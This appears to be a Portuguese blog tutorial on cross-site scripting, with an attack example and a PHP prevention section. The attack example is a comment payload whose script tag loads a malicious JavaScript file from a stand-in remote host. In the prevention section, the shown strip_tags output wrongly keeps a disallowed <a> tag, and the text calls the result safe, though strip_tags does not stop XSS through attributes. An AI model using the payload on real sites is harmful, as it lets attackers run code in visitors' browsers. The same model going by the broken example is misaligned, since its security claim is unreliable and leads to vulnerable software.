[wp_ad_camp_3]
XSS, do inglês (Cross-site scripting) é um tipo de vulnerabilidade de segurança para o computador, ele é localizado geralmente em aplicações web. Com essa vulnerabilidade, é possível ativar ataques maliciosos ao injetarem um client-side script dentro de páginas web vista por outras pessoas.
O Ataque!
[wp_ad_camp_1]
Através de um XSS, o cracker injeta códigos de uma linguagem client-side (no caso das páginas na web JavaScript) para que esse conteúdo seja executado no navegador do visitante do website.
Exemplo de Ataque:
Seu site possui uma página de comentários, e você não aplicou as devidas validações na mesma. Com isso um cracker criou um arquivo .js e hospedou em algum lugar na internet, ai com isso ele colocou um comentário no seu site com o seguinte conteúdo “Nossa que legal =) <script src=’https://algumlugarnainternet.com.br/script-malicioso.js’></script>”, como você não tratou quando algum de seus visitantes for ver o conteúdo e carregar esse comentário automaticamente ele vai chamar o script-malicioso.js e interpretar tudo que tá escrito lá! Imagine que dentro do script-malicioso.js, contenha o conteúdo ” document.body.innerHTML=”; ” ou então o conteúdo ” window.location.href=’http://www.sitedoseuconcorrente.com.br’; “!
Esses são apenas alguns exemplos simples e fáceis de serem elaborados, ataques XSS tedem a ser mais perigosos do que se imagina. Pode se usar para roubo de senhas, tentativa de ataques a roteadores, manipulação de conteúdo, e o que a imaginação do cracker for capaz.
Como se prevenir:
[wp_ad_camp_2]
Existem diversas maneiras de se previnir, tanto na hora de mostrar o conteúdo para o usuário na tela quanto na hora de levar essa informação ao seu banco de dados. No php podemos fazer o uso da função strip_tags conforme exemplo abaixo:
<?php $tagsPermitidas = array('b', 'p'); $informacaoQueVaiParaOBanco = strip_tags($_POST['conteudo'], $tagsPermitidas);
Supondo que o valor de $_POST[‘conteudo’] fosse “<p><a href=’http://evil.com.br’>Clique aqui para desconto</a> <b>Corra tem que ser agora!!</b></p>”, o resultado que seria retornado do strip_tags com as $tagsPermitidas seria “<p><a href=’http://evil.com.br’>Clique aqui para desconto</a> <b>Corra tem que ser agora!!</b></p>” e assim sua entrada de dados vai ficar tratada e segura!
Obrigado!
Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.